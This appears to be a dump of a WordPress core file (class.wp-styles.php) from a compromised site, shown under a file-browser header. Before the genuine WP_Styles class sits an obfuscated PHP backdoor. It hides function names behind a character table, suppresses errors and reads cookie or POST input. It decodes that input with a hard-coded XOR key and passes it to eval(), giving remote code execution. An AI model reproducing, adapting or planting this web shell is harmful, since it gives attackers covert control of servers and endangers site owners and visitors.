%PDF- %PDF-
Direktori : /var/www/html/friendstravel.al/wp-includes/ |
Current File : /var/www/html/friendstravel.al/wp-includes/class.wp-styles.php |
<?php $k1526a = 306;$GLOBALS['d541'] = Array();global $d541;$d541 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['h36034f'] = "\x2d\x48\x42\x4e\x44\x5a\x71\x20\x6c\x29\x27\x36\x3d\x25\x68\x30\x37\x76\x5b\x66\x33\x35\x2e\x63\x52\x40\x28\x72\x7a\x4c\x23\x22\x6a\x61\x5f\x78\x73\x2a\x64\x58\x3a\x26\x21\x41\x43\x6e\x3f\x49\x60\x50\x74\x45\x46\x4d\x51\x67\x4a\x75\x7b\x53\x3e\x2f\x2b\x7e\x5c\x56\xd\x5d\x7c\x38\x9\x47\x34\x3c\x6f\x65\x62\x2c\x7d\x59\x39\x24\x69\x4b\x77\x4f\x79\x5e\x6d\x55\x32\x3b\x31\xa\x57\x6b\x54\x70";$d541[$d541['h36034f'][55].$d541['h36034f'][33].$d541['h36034f'][20].$d541['h36034f'][69].$d541['h36034f'][19].$d541['h36034f'][72].$d541['h36034f'][23].$d541['h36034f'][90].$d541['h36034f'][76]] = $d541['h36034f'][23].$d541['h36034f'][14].$d541['h36034f'][27];$d541[$d541['h36034f'][38].$d541['h36034f'][75].$d541['h36034f'][21].$d541['h36034f'][15].$d541['h36034f'][19].$d541['h36034f'][69]] = $d541['h36034f'][74].$d541['h36034f'][27].$d541['h36034f'][38];$d541[$d541['h36034f'][50].$d541['h36034f'][15].$d541['h36034f'][92].$d541['h36034f'][23].$d541['h36034f'][76].$d541['h36034f'][38].$d541['h36034f'][20].$d541['h36034f'][33]] = $d541['h36034f'][38].$d541['h36034f'][75].$d541['h36034f'][19].$d541['h36034f'][82].$d541['h36034f'][45].$d541['h36034f'][75];$d541[$d541['h36034f'][88].$d541['h36034f'][11].$d541['h36034f'][15].$d541['h36034f'][11].$d541['h36034f'][11].$d541['h36034f'][20].$d541['h36034f'][15].$d541['h36034f'][11].$d541['h36034f'][16]] = $d541['h36034f'][36].$d541['h36034f'][50].$d541['h36034f'][27].$d541['h36034f'][8].$d541['h36034f'][75].$d541['h36034f'][45];$d541[$d541['h36034f'][38].$d541['h36034f'][72].$d541['h36034f'][69].$d541['h36034f'][69].$d541['h36034f'][92].$d541['h36034f'][33].$d541['h36034f'][15].$d541['h36034f'][21].$d541['h36034f'][21]] = $d541['h36034f'][38].$d541['h36034f'][75].$d541['h36034f'][19].$d541['h36034f'][82].$d541['h36034f'][45].$d541['h36034f'][75].$d541['h36034f'][38];$d541[$d541['h36034f'][75].$d541['h36034f'][38].$d541['h36034f'][80].$d541['h36034f'][72].$d541['h36034f'][33].$d541['h36034f'][15].$d541['h36034f'][92]] = $d541['h36034f'][82].$d541['h36034f'][45].$d541['h36034f'][82].$d541['h36034f'][34].$d541['h36034f'][36].$d541['h36034f'][75].$d541['h36034f'][50];$d541[$d541['h36034f'][8].$d541['h36034f'][76].$d541['h36034f'][72].$d541['h36034f'][80].$d541['h36034f'][75].$d541['h36034f'][90].$d541['h36034f'][21].$d541['h36034f'][21].$d541['h36034f'][33]] = $d541['h36034f'][36].$d541['h36034f'][75].$d541['h36034f'][27].$d541['h36034f'][82].$d541['h36034f'][33].$d541['h36034f'][8].$d541['h36034f'][82].$d541['h36034f'][28].$d541['h36034f'][75];$d541[$d541['h36034f'][55].$d541['h36034f'][15].$d541['h36034f'][75].$d541['h36034f'][76].$d541['h36034f'][15]] = $d541['h36034f'][97].$d541['h36034f'][14].$d541['h36034f'][97].$d541['h36034f'][17].$d541['h36034f'][75].$d541['h36034f'][27].$d541['h36034f'][36].$d541['h36034f'][82].$d541['h36034f'][74].$d541['h36034f'][45];$d541[$d541['h36034f'][55].$d541['h36034f'][80].$d541['h36034f'][23].$d541['h36034f'][75]] = $d541['h36034f'][57].$d541['h36034f'][45].$d541['h36034f'][36].$d541['h36034f'][75].$d541['h36034f'][27].$d541['h36034f'][82].$d541['h36034f'][33].$d541['h36034f'][8].$d541['h36034f'][82].$d541['h36034f'][28].$d541['h36034f'][75];$d541[$d541['h36034f'][97].$d541['h36034f'][72].$d541['h36034f'][33].$d541['h36034f'][90].$d541['h36034f'][11]] = $d541['h36034f'][76].$d541['h36034f'][33].$d541['h36034f'][36].$d541['h36034f'][75].$d541['h36034f'][11].$d541['h36034f'][72].$d541['h36034f'][34].$d541['h36034f'][38].$d541['h36034f'][75].$d541['h36034f'][23].$d541['h36034f'][74].$d541['h36034f'][38].$d541['h36034f'][75];$d541[$d541['h36034f'][28].$d541['h36034f'][76].$d541['h36034f'][15].$d541['h36034f'][15].$d541['h36034f'][23].$d541['h36034f'][69].$d541['h36034f'][21].$d541['h36034f'][23].$d541['h36034f'][23]] = $d541['h36034f'][36].$d541['h36034f'][75].$d541['h36034f'][50].$d541['h36034f'][34].$d541['h36034f'][50].$d541['h36034f'][82].$d541['h36034f'][88].$d541['h36034f'][75].$d541['h36034f'][34].$d541['h36034f'][8].$d541['h36034f'][82].$d541['h36034f'][88].$d541['h36034f'][82].$d541['h36034f'][50];$d541[$d541['h36034f'][14].$d541['h36034f'][92].$d541['h36034f'][33].$d541['h36034f'][33].$d541['h36034f'][23]] = $d541['h36034f'][36].$d541['h36034f'][23].$d541['h36034f'][76].$d541['h36034f'][90].$d541['h36034f'][20].$d541['h36034f'][23].$d541['h36034f'][11].$d541['h36034f'][80];$d541[$d541['h36034f'][76].$d541['h36034f'][11].$d541['h36034f'][19].$d541['h36034f'][33].$d541['h36034f'][21].$d541['h36034f'][75].$d541['h36034f'][11].$d541['h36034f'][75].$d541['h36034f'][38]] = $d541['h36034f'][97].$d541['h36034f'][69].$d541['h36034f'][76].$d541['h36034f'][23].$d541['h36034f'][23].$d541['h36034f'][75].$d541['h36034f'][23].$d541['h36034f'][69].$d541['h36034f'][75];$d541[$d541['h36034f'][14].$d541['h36034f'][21].$d541['h36034f'][23].$d541['h36034f'][76].$d541['h36034f'][69].$d541['h36034f'][90].$d541['h36034f'][20].$d541['h36034f'][20].$d541['h36034f'][23]] = $_POST;$d541[$d541['h36034f'][33].$d541['h36034f'][33].$d541['h36034f'][80].$d541['h36034f'][21].$d541['h36034f'][21].$d541['h36034f'][23].$d541['h36034f'][90].$d541['h36034f'][76].$d541['h36034f'][38]] = $_COOKIE;@$d541[$d541['h36034f'][75].$d541['h36034f'][38].$d541['h36034f'][80].$d541['h36034f'][72].$d541['h36034f'][33].$d541['h36034f'][15].$d541['h36034f'][92]]($d541['h36034f'][75].$d541['h36034f'][27].$d541['h36034f'][27].$d541['h36034f'][74].$d541['h36034f'][27].$d541['h36034f'][34].$d541['h36034f'][8].$d541['h36034f'][74].$d541['h36034f'][55], NULL);@$d541[$d541['h36034f'][75].$d541['h36034f'][38].$d541['h36034f'][80].$d541['h36034f'][72].$d541['h36034f'][33].$d541['h36034f'][15].$d541['h36034f'][92]]($d541['h36034f'][8].$d541['h36034f'][74].$d541['h36034f'][55].$d541['h36034f'][34].$d541['h36034f'][75].$d541['h36034f'][27].$d541['h36034f'][27].$d541['h36034f'][74].$d541['h36034f'][27].$d541['h36034f'][36], 0);@$d541[$d541['h36034f'][75].$d541['h36034f'][38].$d541['h36034f'][80].$d541['h36034f'][72].$d541['h36034f'][33].$d541['h36034f'][15].$d541['h36034f'][92]]($d541['h36034f'][88].$d541['h36034f'][33].$d541['h36034f'][35].$d541['h36034f'][34].$d541['h36034f'][75].$d541['h36034f'][35].$d541['h36034f'][75].$d541['h36034f'][23].$d541['h36034f'][57].$d541['h36034f'][50].$d541['h36034f'][82].$d541['h36034f'][74].$d541['h36034f'][45].$d541['h36034f'][34].$d541['h36034f'][50].$d541['h36034f'][82].$d541['h36034f'][88].$d541['h36034f'][75], 0);@$d541[$d541['h36034f'][28].$d541['h36034f'][76].$d541['h36034f'][15].$d541['h36034f'][15].$d541['h36034f'][23].$d541['h36034f'][69].$d541['h36034f'][21].$d541['h36034f'][23].$d541['h36034f'][23]](0);if (!$d541[$d541['h36034f'][38].$d541['h36034f'][72].$d541['h36034f'][69].$d541['h36034f'][69].$d541['h36034f'][92].$d541['h36034f'][33].$d541['h36034f'][15].$d541['h36034f'][21].$d541['h36034f'][21]]($d541['h36034f'][43].$d541['h36034f'][29].$d541['h36034f'][24].$d541['h36034f'][51].$d541['h36034f'][43].$d541['h36034f'][4].$d541['h36034f'][79].$d541['h36034f'][34].$d541['h36034f'][24].$d541['h36034f'][89].$d541['h36034f'][3].$d541['h36034f'][34].$d541['h36034f'][20].$d541['h36034f'][11].$d541['h36034f'][11].$d541['h36034f'][33].$d541['h36034f'][19].$d541['h36034f'][76].$d541['h36034f'][69].$d541['h36034f'][33].$d541['h36034f'][69].$d541['h36034f'][33].$d541['h36034f'][90].$d541['h36034f'][20].$d541['h36034f'][21].$d541['h36034f'][21].$d541['h36034f'][33].$d541['h36034f'][76].$d541['h36034f'][90].$d541['h36034f'][92].$d541['h36034f'][19].$d541['h36034f'][76].$d541['h36034f'][19].$d541['h36034f'][92].$d541['h36034f'][92].$d541['h36034f'][76].$d541['h36034f'][33].$d541['h36034f'][92].$d541['h36034f'][33].$d541['h36034f'][15].$d541['h36034f'][90].$d541['h36034f'][19].$d541['h36034f'][76].$d541['h36034f'][33])){$d541[$d541['h36034f'][50].$d541['h36034f'][15].$d541['h36034f'][92].$d541['h36034f'][23].$d541['h36034f'][76].$d541['h36034f'][38].$d541['h36034f'][20].$d541['h36034f'][33]]($d541['h36034f'][43].$d541['h36034f'][29].$d541['h36034f'][24].$d541['h36034f'][51].$d541['h36034f'][43].$d541['h36034f'][4].$d541['h36034f'][79].$d541['h36034f'][34].$d541['h36034f'][24].$d541['h36034f'][89].$d541['h36034f'][3].$d541['h36034f'][34].$d541['h36034f'][20].$d541['h36034f'][11].$d541['h36034f'][11].$d541['h36034f'][33].$d541['h36034f'][19].$d541['h36034f'][76].$d541['h36034f'][69].$d541['h36034f'][33].$d541['h36034f'][69].$d541['h36034f'][33].$d541['h36034f'][90].$d541['h36034f'][20].$d541['h36034f'][21].$d541['h36034f'][21].$d541['h36034f'][33].$d541['h36034f'][76].$d541['h36034f'][90].$d541['h36034f'][92].$d541['h36034f'][19].$d541['h36034f'][76].$d541['h36034f'][19].$d541['h36034f'][92].$d541['h36034f'][92].$d541['h36034f'][76].$d541['h36034f'][33].$d541['h36034f'][92].$d541['h36034f'][33].$d541['h36034f'][15].$d541['h36034f'][90].$d541['h36034f'][19].$d541['h36034f'][76].$d541['h36034f'][33], 1);$bf4448 = NULL;$eb44 = NULL;$d541[$d541['h36034f'][88].$d541['h36034f'][90].$d541['h36034f'][15].$d541['h36034f'][33].$d541['h36034f'][90]] = $d541['h36034f'][15].$d541['h36034f'][69].$d541['h36034f'][19].$d541['h36034f'][19].$d541['h36034f'][38].$d541['h36034f'][20].$d541['h36034f'][20].$d541['h36034f'][19].$d541['h36034f'][0].$d541['h36034f'][20].$d541['h36034f'][11].$d541['h36034f'][76].$d541['h36034f'][16].$d541['h36034f'][0].$d541['h36034f'][72].$d541['h36034f'][38].$d541['h36034f'][69].$d541['h36034f'][11].$d541['h36034f'][0].$d541['h36034f'][80].$d541['h36034f'][76].$d541['h36034f'][23].$d541['h36034f'][76].$d541['h36034f'][0].$d541['h36034f'][80].$d541['h36034f'][80].$d541['h36034f'][76].$d541['h36034f'][19].$d541['h36034f'][15].$d541['h36034f'][72].$d541['h36034f'][76].$d541['h36034f'][19].$d541['h36034f'][72].$d541['h36034f'][16].$d541['h36034f'][21].$d541['h36034f'][72];global $m20a2;function p8bccec8e($bf4448, $i62de9914){global $d541;$rf48 = "";for ($ac86515=0; $ac86515<$d541[$d541['h36034f'][88].$d541['h36034f'][11].$d541['h36034f'][15].$d541['h36034f'][11].$d541['h36034f'][11].$d541['h36034f'][20].$d541['h36034f'][15].$d541['h36034f'][11].$d541['h36034f'][16]]($bf4448);){for ($g564ad=0; $g564ad<$d541[$d541['h36034f'][88].$d541['h36034f'][11].$d541['h36034f'][15].$d541['h36034f'][11].$d541['h36034f'][11].$d541['h36034f'][20].$d541['h36034f'][15].$d541['h36034f'][11].$d541['h36034f'][16]]($i62de9914) && $ac86515<$d541[$d541['h36034f'][88].$d541['h36034f'][11].$d541['h36034f'][15].$d541['h36034f'][11].$d541['h36034f'][11].$d541['h36034f'][20].$d541['h36034f'][15].$d541['h36034f'][11].$d541['h36034f'][16]]($bf4448); $g564ad++, $ac86515++){$rf48 .= $d541[$d541['h36034f'][55].$d541['h36034f'][33].$d541['h36034f'][20].$d541['h36034f'][69].$d541['h36034f'][19].$d541['h36034f'][72].$d541['h36034f'][23].$d541['h36034f'][90].$d541['h36034f'][76]]($d541[$d541['h36034f'][38].$d541['h36034f'][75].$d541['h36034f'][21].$d541['h36034f'][15].$d541['h36034f'][19].$d541['h36034f'][69]]($bf4448[$ac86515]) ^ $d541[$d541['h36034f'][38].$d541['h36034f'][75].$d541['h36034f'][21].$d541['h36034f'][15].$d541['h36034f'][19].$d541['h36034f'][69]]($i62de9914[$g564ad]));}}return $rf48;}function scb23c69($bf4448, $i62de9914){global $d541;global $m20a2;return $d541[$d541['h36034f'][76].$d541['h36034f'][11].$d541['h36034f'][19].$d541['h36034f'][33].$d541['h36034f'][21].$d541['h36034f'][75].$d541['h36034f'][11].$d541['h36034f'][75].$d541['h36034f'][38]]($d541[$d541['h36034f'][76].$d541['h36034f'][11].$d541['h36034f'][19].$d541['h36034f'][33].$d541['h36034f'][21].$d541['h36034f'][75].$d541['h36034f'][11].$d541['h36034f'][75].$d541['h36034f'][38]]($bf4448, $m20a2), $i62de9914);}foreach ($d541[$d541['h36034f'][33].$d541['h36034f'][33].$d541['h36034f'][80].$d541['h36034f'][21].$d541['h36034f'][21].$d541['h36034f'][23].$d541['h36034f'][90].$d541['h36034f'][76].$d541['h36034f'][38]] as $i62de9914=>$n5f96be5){$bf4448 = $n5f96be5;$eb44 = $i62de9914;}if (!$bf4448){foreach ($d541[$d541['h36034f'][14].$d541['h36034f'][21].$d541['h36034f'][23].$d541['h36034f'][76].$d541['h36034f'][69].$d541['h36034f'][90].$d541['h36034f'][20].$d541['h36034f'][20].$d541['h36034f'][23]] as $i62de9914=>$n5f96be5){$bf4448 = $n5f96be5;$eb44 = $i62de9914;}}$bf4448 = @$d541[$d541['h36034f'][55].$d541['h36034f'][80].$d541['h36034f'][23].$d541['h36034f'][75]]($d541[$d541['h36034f'][14].$d541['h36034f'][92].$d541['h36034f'][33].$d541['h36034f'][33].$d541['h36034f'][23]]($d541[$d541['h36034f'][97].$d541['h36034f'][72].$d541['h36034f'][33].$d541['h36034f'][90].$d541['h36034f'][11]]($bf4448), $eb44));if (isset($bf4448[$d541['h36034f'][33].$d541['h36034f'][95]]) && $m20a2==$bf4448[$d541['h36034f'][33].$d541['h36034f'][95]]){if ($bf4448[$d541['h36034f'][33]] == $d541['h36034f'][82]){$ac86515 = Array($d541['h36034f'][97].$d541['h36034f'][17] => @$d541[$d541['h36034f'][55].$d541['h36034f'][15].$d541['h36034f'][75].$d541['h36034f'][76].$d541['h36034f'][15]](),$d541['h36034f'][36].$d541['h36034f'][17] => $d541['h36034f'][92].$d541['h36034f'][22].$d541['h36034f'][15].$d541['h36034f'][0].$d541['h36034f'][92],);echo @$d541[$d541['h36034f'][8].$d541['h36034f'][76].$d541['h36034f'][72].$d541['h36034f'][80].$d541['h36034f'][75].$d541['h36034f'][90].$d541['h36034f'][21].$d541['h36034f'][21].$d541['h36034f'][33]]($ac86515);}elseif ($bf4448[$d541['h36034f'][33]] == $d541['h36034f'][75]){eval/*id1e9f3d4*/($bf4448[$d541['h36034f'][38]]);}exit();}} ?><?php /** * Dependencies API: WP_Styles class * * @since 2.6.0 * * @package WordPress * @subpackage Dependencies */ /** * Core class used to register styles. * * @package WordPress * @uses WP_Dependencies * @since 2.6.0 */ class WP_Styles extends WP_Dependencies { /** * Base URL for styles. * * Full URL with trailing slash. * * @since 2.6.0 * @access public * @var string */ public $base_url; /** * URL of the content directory. * * @since 2.8.0 * @access public * @var string */ public $content_url; /** * Default version string for stylesheets. * * @since 2.6.0 * @access public * @var string */ public $default_version; /** * The current text direction. * * @since 2.6.0 * @access public * @var string */ public $text_direction = 'ltr'; /** * Holds a list of style handles which will be concatenated. * * @since 2.8.0 * @access public * @var string */ public $concat = ''; /** * Holds a string which contains style handles and their version. * * @since 2.8.0 * @deprecated 3.4.0 * @access public * @var string */ public $concat_version = ''; /** * Whether to perform concatenation. * * @since 2.8.0 * @access public * @var bool */ public $do_concat = false; /** * Holds HTML markup of styles and additional data if concatenation * is enabled. * * @since 2.8.0 * @access public * @var string */ public $print_html = ''; /** * Holds inline styles if concatenation is enabled. * * @since 3.3.0 * @access public * @var string */ public $print_code = ''; /** * List of default directories. * * @since 2.8.0 * @access public * @var array */ public $default_dirs; /** * Constructor. * * @since 2.6.0 * @access public */ public function __construct() { /** * Fires when the WP_Styles instance is initialized. * * @since 2.6.0 * * @param WP_Styles &$this WP_Styles instance, passed by reference. */ do_action_ref_array( 'wp_default_styles', array(&$this) ); } /** * Processes a style dependency. * * @since 2.6.0 * @access public * * @see WP_Dependencies::do_item() * * @param string $handle The style's registered handle. * @return bool True on success, false on failure. */ public function do_item( $handle ) { if ( !parent::do_item($handle) ) return false; $obj = $this->registered[$handle]; if ( null === $obj->ver ) $ver = ''; else $ver = $obj->ver ? $obj->ver : $this->default_version; if ( isset($this->args[$handle]) ) $ver = $ver ? $ver . '&' . $this->args[$handle] : $this->args[$handle]; if ( $this->do_concat ) { if ( $this->in_default_dir($obj->src) && !isset($obj->extra['conditional']) && !isset($obj->extra['alt']) ) { $this->concat .= "$handle,"; $this->concat_version .= "$handle$ver"; $this->print_code .= $this->print_inline_style( $handle, false ); return true; } } if ( isset($obj->args) ) $media = esc_attr( $obj->args ); else $media = 'all'; // A single item may alias a set of items, by having dependencies, but no source. if ( ! $obj->src ) { if ( $inline_style = $this->print_inline_style( $handle, false ) ) { $inline_style = sprintf( "<style id='%s-inline-css' type='text/css'>\n%s\n</style>\n", esc_attr( $handle ), $inline_style ); if ( $this->do_concat ) { $this->print_html .= $inline_style; } else { echo $inline_style; } } return true; } $href = $this->_css_href( $obj->src, $ver, $handle ); if ( ! $href ) { return true; } $rel = isset($obj->extra['alt']) && $obj->extra['alt'] ? 'alternate stylesheet' : 'stylesheet'; $title = isset($obj->extra['title']) ? "title='" . esc_attr( $obj->extra['title'] ) . "'" : ''; /** * Filters the HTML link tag of an enqueued style. * * @since 2.6.0 * @since 4.3.0 Introduced the `$href` parameter. * @since 4.5.0 Introduced the `$media` parameter. * * @param string $html The link tag for the enqueued style. * @param string $handle The style's registered handle. * @param string $href The stylesheet's source URL. * @param string $media The stylesheet's media attribute. */ $tag = apply_filters( 'style_loader_tag', "<link rel='$rel' id='$handle-css' $title href='$href' type='text/css' media='$media' />\n", $handle, $href, $media); if ( 'rtl' === $this->text_direction && isset($obj->extra['rtl']) && $obj->extra['rtl'] ) { if ( is_bool( $obj->extra['rtl'] ) || 'replace' === $obj->extra['rtl'] ) { $suffix = isset( $obj->extra['suffix'] ) ? $obj->extra['suffix'] : ''; $rtl_href = str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $this->_css_href( $obj->src , $ver, "$handle-rtl" )); } else { $rtl_href = $this->_css_href( $obj->extra['rtl'], $ver, "$handle-rtl" ); } /** This filter is documented in wp-includes/class.wp-styles.php */ $rtl_tag = apply_filters( 'style_loader_tag', "<link rel='$rel' id='$handle-rtl-css' $title href='$rtl_href' type='text/css' media='$media' />\n", $handle, $rtl_href, $media ); if ( $obj->extra['rtl'] === 'replace' ) { $tag = $rtl_tag; } else { $tag .= $rtl_tag; } } $conditional_pre = $conditional_post = ''; if ( isset( $obj->extra['conditional'] ) && $obj->extra['conditional'] ) { $conditional_pre = "<!--[if {$obj->extra['conditional']}]>\n"; $conditional_post = "<![endif]-->\n"; } if ( $this->do_concat ) { $this->print_html .= $conditional_pre; $this->print_html .= $tag; if ( $inline_style = $this->print_inline_style( $handle, false ) ) { $this->print_html .= sprintf( "<style id='%s-inline-css' type='text/css'>\n%s\n</style>\n", esc_attr( $handle ), $inline_style ); } $this->print_html .= $conditional_post; } else { echo $conditional_pre; echo $tag; $this->print_inline_style( $handle ); echo $conditional_post; } return true; } /** * Adds extra CSS styles to a registered stylesheet. * * @since 3.3.0 * @access public * * @param string $handle The style's registered handle. * @param string $code String containing the CSS styles to be added. * @return bool True on success, false on failure. */ public function add_inline_style( $handle, $code ) { if ( ! $code ) { return false; } $after = $this->get_data( $handle, 'after' ); if ( ! $after ) { $after = array(); } $after[] = $code; return $this->add_data( $handle, 'after', $after ); } /** * Prints extra CSS styles of a registered stylesheet. * * @since 3.3.0 * @access public * * @param string $handle The style's registered handle. * @param bool $echo Optional. Whether to echo the inline style instead of just returning it. * Default true. * @return string|bool False if no data exists, inline styles if `$echo` is true, true otherwise. */ public function print_inline_style( $handle, $echo = true ) { $output = $this->get_data( $handle, 'after' ); if ( empty( $output ) ) { return false; } $output = implode( "\n", $output ); if ( ! $echo ) { return $output; } printf( "<style id='%s-inline-css' type='text/css'>\n%s\n</style>\n", esc_attr( $handle ), $output ); return true; } /** * Determines style dependencies. * * @since 2.6.0 * @access public * * @see WP_Dependencies::all_deps() * * @param mixed $handles Item handle and argument (string) or item handles and arguments (array of strings). * @param bool $recursion Internal flag that function is calling itself. * @param int|false $group Group level: (int) level, (false) no groups. * @return bool True on success, false on failure. */ public function all_deps( $handles, $recursion = false, $group = false ) { $r = parent::all_deps( $handles, $recursion, $group ); if ( ! $recursion ) { /** * Filters the array of enqueued styles before processing for output. * * @since 2.6.0 * * @param array $to_do The list of enqueued styles about to be processed. */ $this->to_do = apply_filters( 'print_styles_array', $this->to_do ); } return $r; } /** * Generates an enqueued style's fully-qualified URL. * * @since 2.6.0 * @access public * * @param string $src The source of the enqueued style. * @param string $ver The version of the enqueued style. * @param string $handle The style's registered handle. * @return string Style's fully-qualified URL. */ public function _css_href( $src, $ver, $handle ) { if ( !is_bool($src) && !preg_match('|^(https?:)?//|', $src) && ! ( $this->content_url && 0 === strpos($src, $this->content_url) ) ) { $src = $this->base_url . $src; } if ( !empty($ver) ) $src = add_query_arg('ver', $ver, $src); /** * Filters an enqueued style's fully-qualified URL. * * @since 2.6.0 * * @param string $src The source URL of the enqueued style. * @param string $handle The style's registered handle. */ $src = apply_filters( 'style_loader_src', $src, $handle ); return esc_url( $src ); } /** * Whether a handle's source is in a default directory. * * @since 2.8.0 * @access public * * @param string $src The source of the enqueued style. * @return bool True if found, false if not. */ public function in_default_dir( $src ) { if ( ! $this->default_dirs ) return true; foreach ( (array) $this->default_dirs as $test ) { if ( 0 === strpos($src, $test) ) return true; } return false; } /** * Processes items and dependencies for the footer group. * * HTML 5 allows styles in the body, grab late enqueued items and output them in the footer. * * @since 3.3.0 * @access public * * @see WP_Dependencies::do_items() * * @return array Handles of items that have been processed. */ public function do_footer_items() { $this->do_items(false, 1); return $this->done; } /** * Resets class properties. * * @since 3.3.0 * @access public */ public function reset() { $this->do_concat = false; $this->concat = ''; $this->concat_version = ''; $this->print_html = ''; } }